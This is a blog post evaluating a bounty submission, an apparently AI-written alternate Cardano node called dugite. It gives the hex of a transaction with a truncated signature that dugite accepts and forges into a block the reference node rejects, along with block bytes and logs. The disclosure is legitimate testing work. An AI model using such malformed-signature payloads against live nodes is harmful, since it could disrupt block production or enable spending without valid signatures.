π Lanningham

Bounty Evaluation for Dugite alternate node

5 min read

A while back, there was some discourse on Cardano Twitter about how AI could replace the highly skilled node developers working on Cardano core or alternate nodes. While AI has been hugely transformative and accelerative, it simply isn’t at a place where it can produce a these engineers. Without expert guidance (and even with it), software produced by AI only asymptotically approaches the quality or confidence needed from a blockchain node implementation. Without expert guidance to evaluate, steer, and tease apart the requirements of such a node, an AI is doomed to fail.

To demonstrate my point, I issued a challenge: 5k of my own money to anyone who could build a node that met the lowest standard for a production grade alternative node. Several other community members have matched my offer, bringing the total to $20k (unless I missed someone!).

To claim the bounty, all someone needs to do is vibe-code a new alternative node for Cardano for which I can get running, and cannot find any of the following:

  • A transaction accepted by the alternate node, and rejected by the haskell node, or vice versa
  • A block accepted by or forged by the alternate node, and rejected by the haskell node, or vice versa
  • A sequence of blocks for which the alternate node and the haskell node will, at the end, disagree on the consensus tip

Note that a real alternate node, in order to be safe for widespread deployment, would require far stricter assurances.

To prevent a denial of service on my time, each person only gets one chance to submit an alternate node for evaluation.

Recently, I got my first official submission for the bounty, and this blog post serves as the official evaluation for purposes of the bounty. I have used v1.5.0 as requested by the author.

Conclusion: dugite fails the bounty. I will present a transaction that is accepted by dugite, causing it to forge a block with an invalid transaction, which is rejected by the haskell node.

I saw many more potential issues with the node while investigating, but I am only required to present one.

In total, identifying and exploiting these two issues took me about 8 hours of time. It wasn’t a criteria of my bounty, but if the submitter (or anyone else for that matter) wants to show appreciation for the time I spent on this, you can send something to $pi.

Invalid Block

When validating vkey witnesses, a malformed vkey witness is just silently accepted as valid.

Thus, the following transaction is considered valid by dugite, but invalid by the cardano node:

84a300d90102818258205d4d1e650f4d995fa0f6007a63b174e4a91b4d542c62861557659a93c3cb222e01018282581d60e1a0c6ec176936269ebab842bbce5f1914a0fdb6da572b7a2109748b1a000f424082581d60e1a0c6ec176936269ebab842bbce5f1914a0fdb6da572b7a2109748b1b005fec5b60b89180021a00030d40a100d901028182582065c9650045f6ae5e99a2e8fbfd6296379899e01c7584ea9099029729f82f57eb583fe86732ee48c2741ffb5a141bae2e8aaef0739181d14d3b20469e6d1e4a4cf05a9115cace63eb3c2c1966bc5bcbefb235f041c773c2a161f9b840c198d7704df5f6

In particular, I constructed a simple “send A to B” transaction, signed it, and then shortened the signature by 1 byte.

A screenshot from https://cbor.nemo157.com/ showing the truncated 63 byte signature

The cardano nodes obviously rejected this transaction:

REJECT  (socket closed: socket closed; got 0/8 bytes)

Dugite accepted this block over the n2c TxSubmission miniprotocol, and it sat in the mempool for several seconds until the next opportunity to forge a block.

handshake accepted: version 32784
ACCEPT
...  INFO forge: TraceStartLeadershipCheck current_slot=63 pool_id=cf65f15e7c9348af8d30525e3388b0c642027316614fe694a81a6c03
...  INFO forge: TraceNodeIsLeader slot=63 pool_id=cf65f15e7c9348af8d30525e3388b0c642027316614fe694a81a6c03 stake=0.333333
...  INFO forge: TraceForgedBlock slot=63 block_no=12 block_hash=8204423db945816660ac708f507618f0f206d0bd1f7873e122f96b8d4ff7f7a9 txs=1
...  INFO forge: TraceAdoptedBlock block_no=12 slot=63 block_hash=8204423db945816660ac708f507618f0f206d0bd1f7873e122f96b8d4ff7f7a9 txs=1
...  INFO forge: Announced forged block to peers slot=63 block_no=12 block_hash=8204423db945816660ac708f507618f0f206d0bd1f7873e122f96b8d4ff7f7a9 subscribers=2 delivered=2

Here’s the bytes of said block:

820785828a0c183f58207e64e82f1c0920768f112fbc9e3857cf6c481f4b7dad64a1e520ca372ea2d53d5820fdd8c660f494e0e6b29d358b87b682a5f591a667068ae036cc539d1d9a70190958209ebde97234f5995bc7a27b1c9937e334587fbea0164c4f1ac686b016a6603ed8825840617a5353f8b52723edc98c9defee6b6b19f8413a66a381331ac35e73966c8e3d7c4b4115977157aec2b41625e5cd52900fa50982e4163004ba6245f9b179eb9c58509abb78c6ffe98686347116e6b32fe87db6eaba2cb94d7d212d5fb973bed47b0b2838ee860fedf46bdd7e37f1cb74197271882f8aa919421f3db9b075031db54e2b568818f933a20a328bf62f9a38920218ee582027b7cdfaf2febc65e2683cc54e8a2fe6518be29ab4125613187b3b2898015752845820753612e2351729013713c5afa2f0cfffe4c47235cfe7aff55d50af04b5de8e510000584040a11b554f4f24c86e223690dc0f665ff0882ec92f47cff071f5525d4631955ee2d07306e929a4b79bf352f0efc20bbe759877ef3b6008ea26e750f97137560a820b005901c08120812d39677869094a5d53348643c6322b431015b81b7af20e907acf7af4eacf817cf1a3522bf87a3c3127ab3d9c23285ec005728d30f181789f7c54d6370091a73c433a5d91619e51c36397a4901d5fc92eacf4b8fabd1b0064f5a108cfbdbb5c64c38afcfb1c74332460382d3f2cfa884d026cf1e0be9fad166c5b31133aadb470689fd4df02709d7f50aea0085f5e95db38dc698a1a7589205335b5e71daee7994781ca7a585810cc398c3d5206d49aa3b2f5011b0a01b17e87ccab6d25fcf0b79bfd6cf1d296e25115d550612dfbfd77a4cc0596458dbffd724807ab0003fc9f022ac7ef0752b5839bdc765b4e63304a86a935aebd183fa0702c35953e496ddb71ef3f1a607105f583f3d1dfbc03e1083da71c39ca6df64e7cae4a481b2a83dad8239a2fe46469aedda1e9ea830cb54901d24cedc2d1389a437b98526fe6e2360fa08b1935778043825fd1eb42a5dd879c01b43483cfe1fba1a177779258669747988a1cdffc8551f488331e926b197f1e2b0474641d26c2b87a83c024ea0238c7eb5295c5653a175ef8fe0dd1bbd80000f335634a7b2ea74baf8d60dbf6fbb1117bf9d2aced9ace7e96b03f4e59c33a518291a44bd2d3a4fdfb2681c181a300d90102818258201bdb3eaf3af287b0754ed836ee7f1dbaff1f07ee143ac8fffb276032b0b8ee6800018282581d601e15f9ba3f6c54a611cb55e207113ed3e045785ca013150401133f9c1a000f424082581d601e15f9ba3f6c54a611cb55e207113ed3e045785ca013150401133f9c1b005fec5b60dd3080021a00030d4081a100d901028182582029303a7ee8946315ab13e6e6329c8ce9b53b296fc9f5877f5e7e727826376664583fbb40c6aa91075d099c7f84d673a6176ee78e7cf483aebcd3643f0a522f182cd03471022cd791b0c3eca290281465e55d198f9f64ff7a7e208d990a9846d44fa080

But, when this block was announced to upstream, the cardano nodes download it, and then reject it. In the logs below, there is no explicit log line for the rejection of an invalid block, but the fact that the node forged a different block on the tip from before downloading the block makes this clear.

{"at":"...","ns":"ChainSync.Client.DownloadedHeader","data":{"block":"7e64e82f1c0920768f112fbc9e3857cf6c481f4b7dad64a1e520ca372ea2d53d","blockNo":11,"kind":"DownloadedHeader","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"},"slot":62},"sev":"Info","thread":"120","host":"dugite-bounty"}
{"at":"...","ns":"ChainSync.Client.DownloadedHeader","data":{"block":"8204423db945816660ac708f507618f0f206d0bd1f7873e122f96b8d4ff7f7a9","blockNo":12,"kind":"DownloadedHeader","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"},"slot":63},"sev":"Info","thread":"120","host":"dugite-bounty"}
{"at":"...","ns":"BlockFetch.Client.AddedFetchRequest","data":{"kind":"AddedFetchRequest","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"}},"sev":"Info","thread":"35","host":"dugite-bounty"}
{"at":"...","ns":"BlockFetch.Client.AcknowledgedFetchRequest","data":{"kind":"AcknowledgedFetchRequest","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"}},"sev":"Info","thread":"114","host":"dugite-bounty"}
{"at":"...","ns":"BlockFetch.Client.SendFetchRequest","data":{"head":"8204423db945816660ac708f507618f0f206d0bd1f7873e122f96b8d4ff7f7a9","kind":"SendFetchRequest","length":1,"peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"}},"sev":"Info","thread":"114","host":"dugite-bounty"}
{"at":"...","ns":"BlockFetch.Client.StartedFetchBatch","data":{"kind":"StartedFetchBatch","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"}},"sev":"Info","thread":"113","host":"dugite-bounty"}
{"at":"...","ns":"Forge.Loop.StartLeadershipCheck","data":{"kind":"TraceStartLeadershipCheck","slot":64},"sev":"Info","thread":"43","host":"dugite-bounty"}
{"at":"...","ns":"Forge.Loop.NodeIsLeader","data":{"kind":"TraceNodeIsLeader","slot":64},"sev":"Info","thread":"43","host":"dugite-bounty"}
{"at":"...","ns":"Forge.Loop.ForgedBlock","data":{"block":"67e15d3dc05a6de25a3c11dd1deda4e872e0c19a6e79c8511e177c1e5a8f7102","blockNo":12,"blockPrev":"7e64e82f1c0920768f112fbc9e3857cf6c481f4b7dad64a1e520ca372ea2d53d","kind":"TraceForgedBlock","slot":64},"sev":"Info","thread":"43","host":"dugite-bounty"}
{"at":"...","ns":"ChainSync.ServerHeader.Update","data":{"addBlock":"67e15d3dc05a6de25a3c11dd1deda4e872e0c19a6e79c8511e177c1e5a8f7102@64","blockingRead":true,"kind":"ChainSyncServer.Update","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3003"},"risingEdge":true,"tip":{"block":"7e64e82f1c0920768f112fbc9e3857cf6c481f4b7dad64a1e520ca372ea2d53d","blockNo":11,"slot":62}},"sev":"Info","thread":"79","host":"dugite-bounty"}
{"at":"...","ns":"ChainSync.ServerHeader.Update","data":{"addBlock":"67e15d3dc05a6de25a3c11dd1deda4e872e0c19a6e79c8511e177c1e5a8f7102@64","blockingRead":true,"kind":"ChainSyncServer.Update","peer":{"connectionId":"127.0.0.1:3002 127.0.0.1:3001"},"risingEdge":true,"tip":{"block":"7e64e82f1c0920768f112fbc9e3857cf6c481f4b7dad64a1e520ca372ea2d53d","blockNo":11,"slot":62}},"sev":"Info","thread":"105","host":"dugite-bounty"}

Impact

If a single node operator runs this node, they can be prevented indefinitely from producing a block, by ensuring their mempool is consistently seeded with invalid transactions.

If a significant but non-plurality of the stake were to run this node, the network could be made to experience significant long-lived forks, similar to the Pig-chain incident incident from last year, on demand.

If a plurality of stake were to run this node, anybody could spend any funds held in a wallet, bypassing the signature requirements, until social consensus was able to checkpoint the node and recover from before the fork.

Conclusion

There were a number of other issues I found, including challenges running the node, deviations in the wire format, ledger state diversions, etc; however, I’m going to keep those in my back pocket, as they are likely to be candidates that can save me some time in future bounty submissions. :)

The key takeaway is that, at least so far, my original hypothesis stands up: An AI vibe-coded node is currently impossible, as it requires highly specialized engineers to even know how to evaluate whether the node is compliant. If I can find many such issues within a few hours, there are certainly far more subtle and devious ones that will take much longer, and many more skilled human minds, to identify.


π Lanningham

I’m π, a mathematician by passion, and a software engineer by trade. I'm most well known for my role as CTO at SundaeSwap Labs, and for my passion for educating people. I run a Cardano Stake pool, known as 314pool. I've also written a few blog posts on topics that I feel I can explain well, which you'll find below.